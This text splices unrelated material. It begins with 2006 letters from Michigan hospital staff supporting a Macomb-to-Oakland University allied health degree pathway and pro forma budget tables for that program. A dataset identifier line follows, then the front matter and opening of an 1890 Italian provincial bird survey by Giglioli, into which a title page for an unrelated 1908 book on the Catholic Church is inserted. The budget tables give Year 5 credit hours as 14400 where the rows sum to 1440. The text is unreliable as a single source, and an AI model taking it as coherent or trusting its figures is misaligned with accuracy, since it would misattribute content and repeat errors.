NCC Academic Advisor, School of Health Sciences 364 Hannah Hall—Oakland University Rochester MI 48309-4482 Dear Ms. Bays: As a Clinical Educator in the Respiratory Care Services department at Mount Clemens Regional Medical Center I am well aware of the increasing demand for more extensive education for healthcare providers. I wholeheartedly support provision of the opportunity for individuals to improve themselves through higher education. I believe continuing educational opportunities are important both for individuals just entering the health professions arena as well as for those who are seeking opportunities for personal and professional growth within healthcare. I strongly encourage attempts made by the faculty and administration of Macomb Community College in fostering opportunities for growth and learning of its students. I am pleased that there is potential to establish an articulation agreement and affiliation with a reputable institution such as Oakland University and encourage your careful consideration and implementation of such a partnership. Higher education opportunities would be very beneficial for the allied health professions. Speaking as a near twenty-year veteran respiratory therapist, I can attest to the increase in the volumes of information that require my attention through the years. Many of my peers do not address the need to keep current with the demands of their profession, and it shows. The respiratory therapist’s role at the patient bedside has become more complex. The information we monitor and report is more critical to the patient’s care. I believe higher education opens an individual’s thought processes to a grander level, it assists individuals to see issues in a different light. Greater exposure to allied health principles and practices provides the individual with more tools in their role in healthcare. Professionals become even more valuable because of their ability to better integrate their role with that of others. To ensure that our patient population receives the best possible care available, it is important that institutions of higher learning provide programs that allow individuals to expand their capabilities. As you well know, healthcare is a very important and growing arena. I believe the service healthcare providers can provide to our communities can be enhanced with educational opportunities beyond the technical training of a career. I would be happy to discuss this issue in greater detail if you desire. Sincerely: Sharon Jackson, BS, RRT Clinical Educator Respiratory Care Services Mount Clemens Regional Medical Center 1000 Harrington Mt. Clemens, MI 48043 Office: 586-493-2236 Fax: 586-493-8640 Email: email@example.com October 25, 2006 Tamra Bays, MA, LLPC, NCC Academic Advisor School of Health Sciences 364 Hannah Hall Oakland University Rochester, MI 48309-4482 Dear Ms. Bays: Thank you for the opportunity to review the proposal for Macomb Community College and Oakland University to form a more collaborative arrangement by defining a defined pathway (Macomb 2 Oakland) for undergrad allied health students seeking the baccalaureate degree. In today’s healthcare environment, successful healthcare delivery systems will need leaders at every level who are dedicated to the mission, focus on the business and able to get results with collaborative partnerships and limited resources. Leaders will need to expand their skills and knowledge at every level: - Relationship building - Communication skills - Critical thinking and decision-making - Organizational management - Strategic thinking - Customer and quality focus - Marketing, finance, H/R and clinical operations Over 20 years ago I began my healthcare career as an allied health student, so I am a strong supporter and advocate for the work you are doing. In my experience, a large number of students have the desire to pursue the advanced degree, but the journey can often prove arduous and the navigation difficult. I would highly support the proposal and look forward to rapid implementation. Sincerely, Rand J. O’Leary, MHA VP, Clinical & Support Services St. Joseph’s Healthcare 15855 Nineteen Mile Road Clinton Township, MI 48038 October 23, 2006 Tamra Bays, MA, LLPC, NCC Academic Advisor, School of Health Sciences 364 Hannah Hall—Oakland University Rochester MI 48309-4482 Dear Ms. Bays: As a Manager in Surgical Services at Henry Ford Hospital, and as an adjunct faculty member of Macomb Community College, I am well aware of the increasing demand for more extensive education for healthcare providers. To meet the demands of health institutions, including hospitals, ambulatory surgical units (ASU’s), extended care facilities (ECF’s), and other independent facilities that provide health and medical services, I am quite supportive of all efforts to increase and improve the delivery of educational services. I believe that educational opportunities are important both for the individual who is just entering the health professions arena as well as for those who are seeking opportunities for personal and professional growth within healthcare. I strongly encourage attempts made by the faculty and administration of Macomb Community College in fostering opportunities for growth and learning of its students. I am pleased that there is currently a potential opportunity to establish a matriculation agreement and affiliation with a reputable institution such as Oakland University and encourage your careful consideration and implementation of such a partnership. Educational opportunities are needed especially in the areas of Allied Health where a shortage of Registered Nurses and physicians has resulted in the shifting of some aspects of patient care to unlicensed individuals. This appears to be a national trend with no resolution readily presenting itself. To ensure that our patient population receives the best possible care available, it is important that institutions of higher learning participate actively to provide healthcare professionals the tools that are necessary to render such care. I would be happy to discuss this issue in greater detail if you desire. Sincerely: Ken Warnock, CST/SFA, CHMMC Manager, Sterile Processing Department Henry Ford Hospital 2799 West Grand Boulevard Detroit MI 48202 Office: 313.916.7390 Fax: 313.916.8763 Email: firstname.lastname@example.org December 1, 2006 Ken Hightower, Dean Oakland University School of Health Sciences 364 Hannah Hall Rochester, MI 48309-4482 Dear Mr. Hightower: Thank you for the opportunity to review the proposal for William Beaumont Hospital and Oakland University to form a more collaborative arrangement by defining a pathway for undergrad allied health students seeking the baccalaureate degree. In today’s healthcare environment, successful healthcare delivery systems will need leaders at every level who are dedicated to the mission, focus on the business and are able to get results with collaborative partnerships and limited resources. Leaders will need to expand their skills and knowledge at every level: - Relationship building - Communication skills - Critical thinking and decision-making - Organizational management - Strategic thinking - Customer and quality focus - Marketing, finance, H/R and clinical operations Over 20 years ago I began my healthcare career as an allied health student, so I am a strong supporter and advocate for the work you are doing. In my opinion, a large number of our technologists and students will have the desire to pursue the advanced degree. I would highly support the proposal and look forward to rapid implementation. Sincerely, Robert Kilpatrick BSRS RT(R) Clinical Manager William Beaumont Hospital 3601 W. Thirteen Mile Rd Royal Oak, MI 48073 248-898-2509 November 15, 2006 Tamra Bays, MA, LLPC, NCC Academic Advisor School of Health Sciences 364 Hannah Hall Oakland University Rochester, MI 48309-4482 Dear Ms. Bays: Thank you for the opportunity to review the proposal for Macomb Community College and Oakland University to form a more collaborative arrangement by defining a defined pathway (Macomb 2 Oakland) for undergrad allied health students seeking the baccalaureate degree. The research presented relative to benchmarking the needs for the program and identification of other nationally recognized undergraduate programs facilitated my ability to comprehensively analyze the merits of supporting establishment of the program; the curriculum content and the internship were of particular import. As a founding member of a multiorganizational collaborative coordinated by the National Conference for Community and Justice Task Force addressing health care disparities issues in Michigan for the last three years, the integration of the Health People 2010 leading health indicators objectives into your program, was particularly impressive to me. Commitment to principles and initiatives benefiting the immediate and surrounding communities on short and long run basis are of paramount importance. I support your proposal and eagerly anticipate reports of its implementation. Joel Gibson Vice President, Human Resources and Organizational Development November 20, 2006 Tamra Bays, MA, LLPC, NCC Academic Advisor, School of Health Sciences 364 Hannah Hall-Oakland University Rochester, MI 48309-4482 Dear Ms. Bays: As a Physical Therapist/Clinical Director at Dwight Orthopedic Rehabilitation Co., and as a Clinical Instructor in the PTA program at Macomb Community College, I am aware of the increased demand for more extensive education for healthcare providers. To meet the demands of healthcare institutions, I feel strongly about efforts to increase and improve the delivery of educational services. I believe that educational opportunities are important for both new graduates entering the healthcare field, and those seeking personal and professional advancement, as well. I fully support efforts made by the faculty and administration of Macomb Community College to foster opportunities of growth and learning for its students. In hearing about a potential opportunity to establish a matriculation agreement and affiliation with Oakland University, I would encourage your consideration and implementation of such partnership. Thank you for your consideration in this matter. Sincerely, Christopher G. Barnett, MS, PT CGB/Imr Richard - For you Tamra 11/28/06 October 23, 2006 Tamra Bays, MA, LLPC, NCC Academic Advisor, School of Health Sciences 364 Hannah Hall—Oakland University Rochester MI 48309-4482 Dear Ms. Bays: As Educator in the Department of Respiratory Care at William Beaumont Hospital – Royal Oak, and as Adjunct Faculty at Macomb Community College, I am well aware of the increasing demand for more extensive education for healthcare providers. To meet the demands of health institutions, including hospitals, homecare companies, extended care facilities (ECF’s), and other independent facilities that provide health and medical services, I am quite supportive of all efforts to increase and improve the delivery of educational services. I believe that educational opportunities are important both for the individual who is just entering the health professions arena as well as for those who are seeking opportunities for personal and professional growth within healthcare. I strongly encourage attempts made by the faculty and administration of Macomb Community College in fostering opportunities for growth and learning of its students. I am pleased that there is currently a potential opportunity to establish an articulation agreement and affiliation with a reputable institution such as Oakland University and encourage your careful consideration and implementation of such a partnership. Higher education opportunities are needed especially in this area of Allied Health. One reason for this need is that the volume of material the therapist must learn has increased tremendously over the last few decades. Another reason is that the work has become much more complex and critical. To ensure that our patient population receives the best possible care available, it is important that institutions of higher learning participate actively to provide healthcare professionals the tools that are necessary to render such care. I would be happy to discuss this issue in greater detail if you desire. Sincerely: Steven K. Hamick, BIS, RRT, AE-C Educator Department of Respiratory Care William Beaumont Hospital - Royal Oak Educator Chair-Elect Michigan Society of Respiratory Care Editorial Group Review Chair Respiratory Care & Integrated Sciences sections Doody Enterprises, Inc 248.898.6027 - office 248.995.7260 - pager November 14, 2006 Tamra Bays, MA, LLPC, NCC Academic Advisor, School of Health Sciences 364 Hannah Hall-Oakland University Rochester MI 48309-4482 Dear Ms. Bays: As a Critical Care Specialist in Respiratory Therapy at Henry Ford Hospital, and as former respiratory student of Macomb Community College, I am well aware of the increasing demand for more extensive education for healthcare providers. To meet the demands of health institutions, including hospitals, homecare companies, extended care facilities (ECF’s), and other independent facilities that provide health and medical services, I am quite supportive of all efforts to increase and improve the delivery of educational services. I believe that educational opportunities are important both for the individual who is just entering the health professions arena as well as for those who are seeking opportunities for personal and professional growth within healthcare. I strongly encourage attempts made by the faculty and administration of Macomb Community College in fostering opportunities for growth and learning of its students. I am pleased that there is currently a potential opportunity to establish an articulation agreement and affiliation with a reputable institution such as Oakland University and encourage your careful consideration and implementation of such a partnership. Higher education opportunities are needed especially in this area of Allied Health. One reason for this need is that the volume of material the therapist must learn has increase tremendously over the last few decades. Another reason is that the work has become much more complex and critical. To ensure that our patient population receives the best possible care available, it is important that institutions of higher learning participate actively to provide healthcare professionals the tools that are necessary to render such care. I would be happy to discuss this issue in greater detail if you desire. Sincerely: John Crawford, RRT Critical Care Specialist Respiratory Therapy Henry Ford Hospital 313.916.8877 # School of Health Sciences ## Major in Applied Health Sciences ### Proforma Income Statement | Revenue Variables: | YR 1 | YR 2 | YR 3 | YR 4 | YR 5 | |--------------------|------|------|------|------|------| | **Headcount** | 15 | 30 | 45 | 50 | 60 | | Lower Level UG Students | 8 | 15 | 23 | 25 | 30 | | Upper Level UG Students | 7 | 15 | 22 | 25 | 30 | | Graduate Students | 0 | 0 | 0 | 0 | 0 | | Doctoral Students | 0 | 0 | 0 | 0 | 0 | | **Expected number of program credits taken per student per fiscal year** | 24 | 24 | 24 | 24 | 24 | | Undergraduate Credits | 24 | 24 | 24 | 24 | 24 | | Graduate Credits | 0 | 0 | 0 | 0 | 0 | | Doctoral Credits | 0 | 0 | 0 | 0 | 0 | | **Total Credit Hours** | 360 | 720 | 1080 | 1200 | 14400| | Undergraduate Lower Level | 192 | 360 | 552 | 600 | 720 | | Undergraduate Upper Level | 168 | 360 | 528 | 600 | 720 | | Graduate | 0 | 0 | 0 | 0 | 0 | | Doctoral | 0 | 0 | 0 | 0 | 0 | | **FYES** | 11.61| 23.23| 34.84| 38.71| 46.45| | UG FYES | 11.61| 23.23| 34.84| 38.71| 46.45| | Graduate FYES | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | | Doctoral FYES | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | | **Total FYES** | 11.61| 23.23| 34.84| 38.71| 46.45| | Tuition Rate Per Credit Hour | Undergraduate Lower Level | $204.75 | $204.75 | $204.75 | $204.75 | $204.75 | | | Undergraduate Upper Level | $224.75 | $224.75 | $224.75 | $224.75 | $224.75 | | | Graduate | $383.00 | $383.00 | $383.00 | $383.00 | $383.00 | | | Other Fees/Charges | $- | $- | $- | $- | $- | | Revenue | Tuition | $77,070.00 | $154,620.00 | $231,690.00 | $257,700.00 | $309,240.00 | | | Other Fees | $- | $- | $- | $- | $- | | **Total Revenue** | | $77,070.00 | $154,620.00 | $231,690.00 | $257,700.00 | $309,240.00 | | Expenses | ACCT | | | | Salaries/Wages | | | | Faculty Salaries | $91,367.00 | $91,367.00 | $91,367.00 | $91,367.00 | $91,367.00 | | | Visiting Faculty | $- | $- | $- | $- | $- | | | Part-time Faculty | $- | $- | $8,048.00 | $8,048.00 | $8,048.00 | | | Faculty Overload | $- | $- | $- | $- | $- | | | Spring/Summer Faculty Pay | $- | $- | $- | $- | $- | | | Faculty Inload (Replacement Costs) | $- | $- | $- | $- | $- | | | Administrative Salaries | $- | $- | $- | $- | $- | | | Clerical Salaries | $17,139.00 | $17,139.00 | $17,139.00 | $17,139.00 | $17,139.00 | | | IC Administrative Salaries | $- | $- | $- | $- | $- | | | Graduate Assistant | $- | $- | $- | $- | $- | | | Wages | $- | $- | $- | $- | $- | | | Out of Classification | $- | $- | $- | $- | $- | | | Overtime | $- | $- | $- | $- | $- | | | Student | $- | $- | $- | $- | $- | | **Total Salary Expenses** | | $108,506.00 | $108,506.00 | $116,554.00 | $116,554.00 | $116,554.00 | | | Fringe Benefits | $46,648.0469 | $46,648.0469 | $47,364.3189 | $47,364.3189 | $47,364.3189 | | **Total Salary and Fringe Benefits** | | $155,154.05 | $155,154.05 | $163,918.32 | $163,918.32 | $163,918.32 | | Operating Expenses | | | | Supplies and Services | $6,500.00 | $1,500.00 | $1,500.00 | $1,500.00 | $1,500.00 | | | Graduate Assistant Tuition | $- | $- | $- | $- | $- | | | Facility Charges | $- | $- | $- | $- | $- | | | Travel | $1,400.00 | $1,400.00 | $1,400.00 | $1,400.00 | $1,400.00 | | | Telephone | $200.00 | $200.00 | $200.00 | $200.00 | $200.00 | | | Equipment | $- | $- | $- | $- | $- | | | Library | $2,500.00 | $2,500.00 | $2,500.00 | $2,500.00 | $2,500.00 | | **Total Operating Expenses** | | $10,600.00 | $5,600.00 | $5,600.00 | $5,600.00 | $5,600.00 | | Total Expenses | $165,754.05 | $160,754.05 | $169,518.32 | $169,518.32 | $169,518.32 | | **Surplus/Deficits** | $(88,684.05) | $(6,134.05) | $62,171.68 | $88,181.68 | $139,721.68 | | Percentage of Expenses to Tuition | 2.15 | 1.04 | 0.73 | 0.66 | 0.55 | Notes Year 1,2,3 - 10 new students/year, year 4,5, - 15 new students/year Faculty salaries - Program Director Part-time - 2 classes Fa, Wi in year 3,4. Clerical - .5 office assistant S&S - 5 computers/1 lap top, misc supplies Tvl - Prog Dir, trvl to MCCC Library - as recommended # School of Health Sciences ## Major in Applied Health Sciences ### Proforma Income Statement #### Optimistic Scenario | Revenue Variables: | YR 1 | YR 2 | YR 3 | YR 4 | YR 5 | |--------------------|------|------|------|------|------| | **Headcount** | | | | | | | Lower Level UG Students | 8 | 15 | 23 | 25 | 30 | | Upper Level UG Students | 7 | 15 | 22 | 25 | 30 | | Graduate Students | 0 | 0 | 0 | 0 | 0 | | Doctoral Students | 0 | 0 | 0 | 0 | 0 | | **Expected number of program credits taken per student per fiscal year** | 24 | 24 | 24 | 24 | 24 | | Undergraduate Credits | 24 | 24 | 24 | 24 | 24 | | Graduate Credits | 0 | 0 | 0 | 0 | 0 | | Doctoral Credits | 0 | 0 | 0 | 0 | 0 | | **Total Credit Hours** | 360 | 720 | 1080 | 1200 | 14400| | Undergraduate Lower Level | 192 | 360 | 552 | 600 | 720 | | Undergraduate Upper Level | 168 | 360 | 528 | 600 | 720 | | Graduate | 0 | 0 | 0 | 0 | 0 | | Doctoral | 0 | 0 | 0 | 0 | 0 | | **FYES** | | | | | | | UO FYES | 11.61| 23.23| 34.84| 38.71| 46.45| | Graduate FYES | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | | Doctoral FYES | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | | **Total FYES** | 11.61| 23.23| 34.84| 38.71| 46.45| | Tuition Rate Per Credit Hour | | | | | | |-------------------------------|------|------|------|------|------| | Undergraduate Lower Level | $204.75 | $204.75 | $204.75 | $204.75 | $204.75 | | Undergraduate Upper Level | $224.75 | $224.75 | $224.75 | $224.75 | $224.75 | | Graduate | $383.00 | $383.00 | $383.00 | $383.00 | $383.00 | | Other Fees/Charges | $- | $- | $- | $- | $- | | Revenue | | | | | | |-------------------------------|------|------|------|------|------| | Tuition | $77,070.00 | $154,620.00 | $231,690.00 | $257,700.00 | $309,240.00 | | Other Fees | $- | $- | $- | $- | $- | | **Total Revenue** | $77,070.00 | $154,620.00 | $231,690.00 | $257,700.00 | $309,240.00 | | Expenses | ACCT | | | | | |-------------------------------|------|------|------|------|------| | Salaries/Wages | | | | | | | Faculty Salaries | 6101 | $91,367.00 | $91,367.00 | $146,637.00 | $146,637.00 | | Visiting Faculty | 6101 | $- | $- | $- | $- | | Part-time Faculty | 6301 | $- | $- | $4,628.00 | $4,628.00 | | Faculty Overload | 6301 | $- | $- | $- | $- | | Spring/Summer Faculty Pay | 6301 | $- | $- | $- | $- | | Faculty Inload (Replacement Costs) | 6301 | $- | $- | $- | $- | | Administrative Salaries | 6201 | $- | $- | $- | $- | | Clerical Salaries | 6211 | $17,139.00 | $17,139.00 | $17,139.00 | $17,139.00 | | IC Administrative Salaries | 6221 | $- | $- | $- | $- | | Graduate Assistant | 6311 | $- | $- | $- | $- | | Wages | 6401 | $- | $- | $- | $- | | Out of Classification | 6401 | $- | $- | $- | $- | | Overtime | 6401 | $- | $- | $- | $- | | Student | 6501 | $- | $- | $- | $- | | **Total Salary Expenses** | $108,506.00 | $108,506.00 | $168,404.00 | $168,404.00 | $168,404.00 | | Fringe Benefits | 6701 | $46,648.0469 | $46,648.0469 | $69,814.5979 | $69,814.5979 | | **Total Salary and Fringe Benefits** | $155,154.05 | $155,154.05 | $238,218.60 | $238,218.60 | $238,218.60 | | Operating Expenses | | | | | | |-------------------------------|------|------|------|------|------| | Supplies and Services | 7101 | $6,500.00 | $1,500.00 | $1,500.00 | $1,500.00 | | Graduate Assistant Tuition | 7101 | $- | $- | $- | $- | | Facility Charges | 7101 | $- | $- | $5,720.00 | $5,720.00 | | Travel | 7201 | $1,400.00 | $1,400.00 | $1,400.00 | $1,400.00 | | Telephone | 7301 | $200.00 | $200.00 | $200.00 | $200.00 | | Equipment | 7501 | $- | $- | $- | $- | | Library | 7401 | $2,500.00 | $2,500.00 | $2,500.00 | $2,500.00 | | **Total Operating Expenses** | $10,600.00 | $5,600.00 | $11,320.00 | $11,320.00 | $11,320.00 | | **Total Expenses** | $165,754.05 | $160,754.05 | $249,538.60 | $249,538.60 | $249,538.60 | | Surplus/Deficits | $(88,684.05) | $(6,134.05) | $(17,848.60) | $8,161.40 | $59,701.40 | | Percentage of Expenses to Tuition | 2.15 | 1.04 | 1.08 | 0.97 | 0.81 | Notes Year 1,2,3 - 10 new students/year, year 4,5. - 15 new students/year Faculty salaries - Program Director -91,367, New 55,000 Part-time - 2 classes Fa, Wi in year 3,4. - 1,157 *4cr = 4628 Clerical - .5 office assistant S&S - 5 computers/1 lap top, misc supplies Tvl - Prog Dir, trvl to MCCC Library - as recommended Facility Charges @ MCCC = $220.00/cr 8 26 credits AHS 301,401,304,306, 331 HS 202, 450 WHP 310
eadc251c-3a39-4770-b4c5-f79a157b5319
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
216,577
LIBRARY OF THE UNIVERSITY OF ILLINOIS 598.2945 G36a 1889 v. 2 cop.2 BIOLOGY Digitized by the Internet Archive in 2011 with funding from University of Illinois Urbana-Champaign http://www.archive.org/details/avifaunaitalicae02ital PRIMO RESOCONTO DEI RISULTATI DELLA INCHIESTA ORNITOLOGICA IN ITALIA. PARTE SECONDA AVIFAUNE LOCALI RISULTATI DELLA INCHIESTA ORNITOLOGICA NELLE SINGOLE PROVINCE COMPILATO DAL DOTTORE ENRICO HILLYER GIGLIOLI Professore ordinario di Zoologia e Anatomia dei Vertebrati nel R. Istituto di Studi Superiori di Firenze, Membro del Comitato ornitologico internazionale e Direttore dell’Ufficio ornitologico. FIRENZE COI TIPI DEI SUCCESSORI LE MONNIER. 1890. THE CATHOLIC CHURCH IN AMERICA AND EUROPE IN THE 19TH CENTURY BY FR. JAMES H. O'CONNOR, S.J. PREFACE BY M. J. H. MURPHY, S.J. NEW YORK THE CATHOLIC UNIVERSITY PRESS 1908 PRIMO RESOCONTO DEI RISULTATI DELLA INCHIESTA ORNITOLOGICA IN ITALIA. PARTE SECONDA AVIFAUNE LOCALI. RISULTATI DELLA INCHIESTA ORNITOLOGICA NELLE SINGOLE PROVINCE COMPILATO DAL DOTTORE ENRICO HILLYER GIGLIOLI Professore ordinario di Zoologia e Anatomia dei Vertebrati nel R. Istituto di Studi Superiori di Firenze, Membro del Comitato ornitologico internazionale e Direttore dell'Ufficio ornitologico. FIRENZE. COI TIPI DEI SUCCESSORI LE MONNIER. — 1890. SOMMARIO. Sottoregione Continentale o Settentrionale. PIEMONTE ................................................................. Pag. 2 PROVINCIA DI CUNEO .................................................. ivi Elenco generale delle specie di uccelli osservate in questa provincia ....................... 3 Specie che vi nidificano ........................................... 13 Specie che vi sono di passaggio regolare ......................... 17 Specie che vi fanno apparizione accidentale ...................... 19 PROVINCIA DI TORINO .................................................. 20 Elenco generale delle specie di uccelli osservate in questa provincia ....................... 22 Specie che vi sono sedentarie .................................... 28 Specie che vi nidificano ........................................... 29 Specie che vi sono di passaggio regolare ......................... 32 Specie di comparsa accidentale .................................... 37 PROVINCIA DI ALESSANDRIA ........................................... 38 Elenco generale delle specie di uccelli osservate in questa provincia ....................... 39 Specie che vi sono sedentarie .................................... 46 Specie che vi nidificano ........................................... ivi Specie che vi fanno passo regolare ................................ 48 Specie che vi sono di comparsa accidentale ...................... 51 PROVINCIA DI NOVARA .................................................. 52 Distretto di Ossola .................................................. ivi Elenco generale delle specie di uccelli osservate nel circondario di Ossola ............. 51 Distretti di Varallo, Piedimulera e Crodo .......................... 61 Elenco generale delle specie di uccelli osservate in questi distretti .................. 68 Specie sedentarie nel distretto di Varallo ................. Pag. 73 Specie sedentarie nel distretto di Crodo .................. 74 Specie sedentarie nel distretto di Piedimulera ............ ivi Specie erratiche nel distretto di Varallo .................. 75 Specie erratiche nel distretto di Crodo .................... ivi Specie erratiche nel distretto di Piedimulera ............. 76 Specie che nidificano nei distretti di Varallo e Piedimulera. 77 Specie di passaggio regolare nella provincia di Novara... 99 LOMBARDIA .................................................. 102 PROVINCIA DI SONDrio ...................................... ivi Elenco generale delle specie di uccelli osservate in questa provincia ........................................... 108 Specie che vi sono sedentarie ............................... 110 Specie che vi nidificano ..................................... 111 Specie di passaggio regolare ................................. 114 PROVINCIA DI BERGAMO ..................................... 115 Elenco generale delle specie di uccelli osservate in questa provincia ........................................... ivi Specie sedentarie .............................................. 120 Specie che vi nidificano ..................................... 121 Specie di passaggio regolare ................................. 122 Specie di comparsa accidentale ............................... 126 PROVINCIA DI MILANO ....................................... ivi Elenco generale delle specie di uccelli osservate in questa provincia ........................................... 127 Specie sedentarie nel circondario di Gallarate ............ 133 Specie che nidificano in questo circondario ............... 134 Distretto Medio Milanese ................................... 135 Elenco di specie di uccelli osservate in questo distretto .. 136 PROVINCIA DI CREMONA ..................................... 138 Elenco generale delle specie di uccelli osservate in questa provincia ........................................... 139 PROVINCIA DI MANTOVA ..................................... 149 Elenco generale delle specie di uccelli osservate in questa provincia ........................................... 150 Elenco generale delle specie di uccelli osservate in Lombardia ........................................... 157 Specie che vi sono sedentarie ............................... 166 Specie che vi nidificano ..................................... 167 Specie di passaggio regolare ................................. 170 VENETO .................................................. Pag. 173 Provincia di Verona ........................................... ivi Elenco generale delle specie di uccelli osservate in questa provincia ......................... 174 Provincia di Vicenza ............................................ 178 Elenco generale delle specie di uccelli osservate in questa provincia ......................... 181 Specie che vi nidificano ........................................ 186 Specie che vi sono di passaggio ................................ 190 Distretto di Bassano ............................................. 194 Elenco delle specie di uccelli osservate in questo distretto ................................. 195 Provincia di Belluno .............................................. 197 Elenco generale delle specie di uccelli che si trovano in questa provincia .................. 202 Provincia di Udine ............................................... 215 Elenco generale delle specie di uccelli che si trovano in questa provincia .................. 217 Distretto di Cividale .............................................. 229 Elenco delle specie di uccelli osservate in questo distretto ................................. 231 Provincia di Padova .............................................. 239 Elenco generale delle specie di uccelli osservate in questa provincia ....................... ivi Provincia di Rovigo .............................................. 251 Elenco generale delle specie di uccelli osservate in questa provincia ....................... 252 Specie che vi nidificano ........................................ 259 EMILIA .......................................................... 268 Provincia di Bologna ............................................. ivi Distretto di Vergato .............................................. ivi Elenco delle specie di uccelli osservate in questo distretto ................................. 264 Provincia di Parma .............................................. 268 Elenco delle specie di uccelli osservate in questa provincia ................................. 269 Sottoregione Peninsulare o Meridionale. LIGURIA .......................................................... 275 Provincia di Genova .............................................. ivi Circondario di Savona .................................................. Pag. 275 Elenco delle specie di uccelli osservate in questo circondario ......................... 277 Distretto di Arenzano .................................................. 287 Elenco delle specie di uccelli osservate in questo distretto ............................. 288 Specie che vi nidificano ........................................................................... 297 Distretto di Spezia ......................................................... 301 Elenco delle specie di uccelli osservate in questo distretto ............................. 302 TOSCANA .............................................................................. 317 Provincia di Lucca .......................................................... ivi Elenco delle specie di uccelli osservate in questa provincia ............................ 318 Specie di passaggio regolare nei distretti di Massarosa e Viareggio ............... 336 Provincia di Pisa ............................................................ 339 Elenco delle specie di uccelli osservate in questa provincia ............................ 343 Specie che vi nidificano ........................................................................... 351 Provincia di Firenze ......................................................... 358 Elenco delle specie di uccelli osservate in questa provincia ............................ 361 Specie nidificanti nel distretto di Fiesole ..................................................... 380 Specie di passaggio regolare in questo distretto ............................................. 381 Provincia di Arezzo .......................................................... 386 Distretto del Casentino ...................................................... ivi Elenco delle specie di uccelli osservate in questo distretto ............................ 389 Province di Arezzo e Siena ................................................ 397 Distretto di Val di Chiana .................................................. ivi Elenco delle specie di uccelli osservate in questo distretto ............................ 399 Provincia di Siena .......................................................... 413 Distretto di Sarteano ......................................................... ivi Elenco delle specie di uccelli osservate in questo distretto ............................ 419 Distretto di San Gimignano ................................................ 424 Elenco delle specie di uccelli osservate in questo distretto ............................ 426 Province di Siena e Grosseto ............................................... 431 Elenco delle specie di uccelli osservate in queste province ............................ 437 Provincia di Grosseto ....................................................... 458 Isola di Giglio ................................................................. ivi Elenco delle specie di uccelli osservate in quest'isola ................................. ivi Elenco delle specie di uccelli osservate in Toscana ................................. 457 MARCHE ................................................................. Pag. 472 Provincia di Ancona .................................................. ivi Elenco delle specie di uccelli osservate in questa provincia. 474 LAZIO ................................................................. 481 Provincia di Roma .................................................... ivi Distretto di Viterbo e Montefiascone ........................... ivi Elenco delle specie di uccelli osservate in questo distretto. 485 ABRUZZI ............................................................... 488 Provincia di Campobasso ........................................... ivi Distretto di Jelsi ..................................................... ivi Elenco delle specie di uccelli osservate in questo distretto. ivi CAMPANIA ............................................................ 491 Provincia di Napoli .................................................. ivi Elenco delle specie di uccelli osservate in questa provincia. 493 Isola di Capri .......................................................... 500 Elenco delle specie di uccelli osservate in quest’isola. 502 PUGLIE ................................................................. 506 Elenco delle specie di uccelli osservate nelle Puglie ....... ivi CALABRIE .............................................................. 528 Provincia di Catanzaro .............................................. ivi Distretto di Maida .................................................... ivi Elenco delle specie di uccelli osservate in questo distretto. 529 Provincia di Reggio .................................................. 536 Elenco delle specie di uccelli osservate in questa provincia. 539 Sottoregione insulare. SICILIA ................................................................. 545 Provincia di Messina .................................................. ivi Elenco delle specie di uccelli osservate in questa provincia. 551 Provincia di Siracusa ............................................... 565 Distretto di Lentini e Carlentini ................................. ivi Elenco delle specie di uccelli osservate in questo distretto. 566 Distretto di Modica .................................................. Pag. 568 Elenco delle specie di uccelli osservate in questo distretto. 569 Specie che vi nidificano ........................................... 576 Provincia di Caltanissetta ........................................ 579 Distretto di Terranova ............................................. ivi Elenco delle specie di uccelli osservate in questo distretto. 581 Provincia di Palermo ............................................... 599 Distretto di Castelbuono-Madonie ............................... ivi Elenco delle specie di uccelli osservate in questo distretto. 601 SARDEGNA ............................................................ 610 Elenco delle specie di uccelli osservate nell'isola di Sardegna. ivi CORSICA .............................................................. 631 Elenco delle specie di uccelli osservate in Corsica .......... 632 Indice dei nomi scientifici ......................................... 643 Indice dei nomi volgari ............................................. 665 Errata-Corrige ....................................................... 695 Aggiunte ............................................................. 697 In questa parte del mio Resoconto intendo raccogliere i materiali che servono a dare un'idea dell'Avifauna speciale a ciascuna delle nostre provincie; onde le notizie ricevute dai diversi collaboratori saranno ordinate a tale scopo geograficamente, ed ogni elenco speciale sarà preceduto dai cenni fisiografici locali e da altre notizie d'indole corrispondente. Va rammentato che queste notizie rispondono ai quesiti: 1, 2, 3, 4, 5 e 6 della categoria A, Osservazioni di natura generale. Essi sono i seguenti: 1. — Indicare i confini del distretto di osservazione, dando possibilmente un cenno succinto intorno alla costituzione topografica del medesimo con brevi notizie fisiografiche. 2. — Quali sono le specie di uccelli ben note all'osservatore, e quali nomi volgari portano nel distretto? Indicare quali sono più frequenti, quali più scarse; indicare inoltre quali vivono in pianura, quali in montagna, quali contemporaneamente al piano ed ai monti. 3. — Quali specie vi sono sedentarie, cioè rimangono tutto l'anno nelle medesime località del distretto osservato? 4. — Quali specie vi sono erratiche, cioè cangiano col variar della stagione il loro luogo di dimora, e.g. dai monti scendono al piano? 5. — Quali specie vengono osservate solamente di passaggio regolare, sia soltanto nella primavera, sia soltanto nell’autunno, sia in entrambe quelle stagioni? Indicare i mesi e possibilmente la quindicina del passo. 6. — Quali specie sono da considerarsi di apparizione accidentale, e quali motivi sono addotti per tali comparse irregolari od avventizie? Inoltre ho creduto più conveniente riportare qui le risposte al 1° quesito della categoria C, Osservazioni intorno alla nidificazione, cioè: 1. — Quali specie nidificano nel distretto? Notare: il numero delle covate fatte da ogni specie durante la stagione; l’epoca di ogni singola covata, e di quante uova consiste; se vi sono intervalli nella deposizione delle uova; la durata della incubazione; dire se vi prende parte anche il maschio. Sottoregione Continentale o Settentrionale. PIEMONTE. Cuneo (Abre capitano Vincenzo): La provincia di Cuneo confina a NE. con quella di Torino, a NO. e SO. colla Francia, all’E. colla provincia di Alessandria ed al SSE. con quella di Genova. La provincia suddetta offre molte varietà nel suo territorio: da una parte le Alpi marittime, le cui sommità sempre o quasi sempre coperte di neve, fanno un bellissimo contrasto coi ridenti colli ammantati di verdura e colle ampie e feraci valli, adombre di selve e feconde di buoni pascoli, le quali vanno gradatamente stendendosi in vaste e fertili pianure, ricche di ogni sorta di vegetali. Dalle circostanti Alpi scendono molti fiumi e ruscelli che trascorrono la provincia in ogni sua parte. Le colline ed i poggi sono per lo più coltivati a vite nella parte media e superiore, a cereali e legumi nella parte inferiore. Circa alla pianura, dessa occupa la parte 